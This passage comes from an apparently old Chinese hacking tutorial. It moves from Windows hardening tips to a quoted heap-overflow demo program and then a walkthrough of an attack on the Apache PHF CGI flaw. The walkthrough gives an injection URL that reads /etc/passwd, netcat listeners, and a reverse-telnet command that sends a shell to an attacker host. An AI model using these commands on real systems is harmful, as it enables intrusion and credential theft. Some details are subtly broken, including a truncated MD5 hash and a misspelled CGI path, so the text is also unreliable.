find "12345" http://www.foundstone.com ;的fport工具也能实现如此功能!)
3、指纹检查技术(fingerprint),防止程序或文件被恶意修改,这里使用MD技术:
D:\>md5 d:\test.txt>d:\test.md5
D:\>cat d:\test.md5
efd3907b037774d831596f2c1b14a d:\\test.txt
D:\>md5sum --check d:\test.md5 4、关闭W2K文件和打印共享属性
网络和拨号连接*“高级”菜单*高级设置*取消“Microsoft
网络的文件与打印机共享”。 至此,我们完成了NT/W2K的漫游旅程。歇息一下,我们进入字符与命令的神奇世界。
*Unix/Linux,命令与脚本的天堂
Unix的历史很悠久,因此也有了许多动人的传奇故事。Eric所维护的Jargon File中,记载着这个世界很多围绕它而诞生的英雄史诗;而作为新星的Linux则在计算机的发展取到了推动作用,GNU的原则,让我们终于没有了技术界线和垄断。这里充满和平和自由,于是这里的天地将更赋有期待和激情。
【溢出初步】
关于溢出的这个问题,我记得曾经在1999-2001年的时候狂热的风行好些时候,那时候狂人们似乎有用不完的力气,于是溢出攻击的工具齐全了,溢出攻击的手段也逐渐偏向简单化。
以下是堆栈溢出原理的简单程序示例(本代码摘自
http://www.w00w00.org/files/heaptut/heaptut.txt):
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h> #define BUFSIZE 16
#define OVERSIZE 8 /* overflow buf2 by OVERSIZE bytes */ int main()
{
u_long diff;
char *buf1 = (char *)malloc(BUFSIZE), *buf2 = (char *)malloc(BUFSIZE); diff = (u_long)buf2 - (u_long)buf1;
printf("buf1 = %p, buf2 = %p, diff = 0x%x bytes\n", buf1, buf2, diff); memset(buf2, 'A', BUFSIZE-1), buf2[BUFSIZE-1] = '\0'; printf("before overflow: buf2 = %s\n", buf2);
memset(buf1, 'B', (u_int)(diff + OVERSIZE));
printf("after overflow: buf2 = %s\n", buf2); return 0;
} 编译执行此代码:
[root /w00w00/heap/examples/basic]# ./heap1 8
buf1 = 0x804e000, buf2 = 0x804eff0, diff = 0xff0 bytes
before overflow: buf2 = AAAAAAAAAAAAAAA
after overflow: buf2 = BBBBBBBBAAAAAAA
这里缓存1的溢出边界填充了缓存2,而由于缓存2的堆栈空间仍属于合法内存空间,因此程序不会崩溃。
缓冲区溢出条件发生在进程试图往缓冲区放入比分配的空间还要多的数据的时候,这可以导致段越界异常发生。攻击者可以精心设计,发送将溢出缓冲区并执行特定的命令代码。而程序发生溢出,可以改变函数的返回地址,以允许攻击者改变程序的执行流。而由于程序本身是以特权运行,于是执行的恶意代码也具有的特权模式,从而实现攻击。
产生这段执行程序代码根据系统的硬件体系结构不同而大相径庭,不过我们仍然可以借助一些自动工具产生称之为shellcode的特殊代码,比如本toolbox所包括的hellkit就是其中一个。
关于如何利用缓冲区溢出攻击的实现细节和详尽制作工序可以参阅“飞客杂志”第49期14小节(P49-14)和2个黑客论坛FAQ版区的基础讲座。
【知识应用组合攻击】
**PHF漏洞实验
著名的PHF漏洞相信很多人都应该知道。该漏洞是Apache服务器的一个CGI漏洞。该漏洞利用输入验证的不严格性,可以在输入字串中含有执行命令,从而逸出到可使用的shell。比如:/cig-bin/phf?Qalias=x%a/bin/cat%20/etc/passwd就可以查看服务器的帐户密码文件。
前面所叙述的shell回铲方式结合phf我们就可以完成一次简单的攻击:
<终端一>[attacker]#nc -l -n -v -p 80listening on [any] 80<终端二>[attacker]#nc -l -n -v -p 25listening on [any] 25<受害机器>#制造一个反向Telnet从而回铲shell的脚本/bin/telnet evil_hackers_ip 80
关键词:战术攻防思维撷粹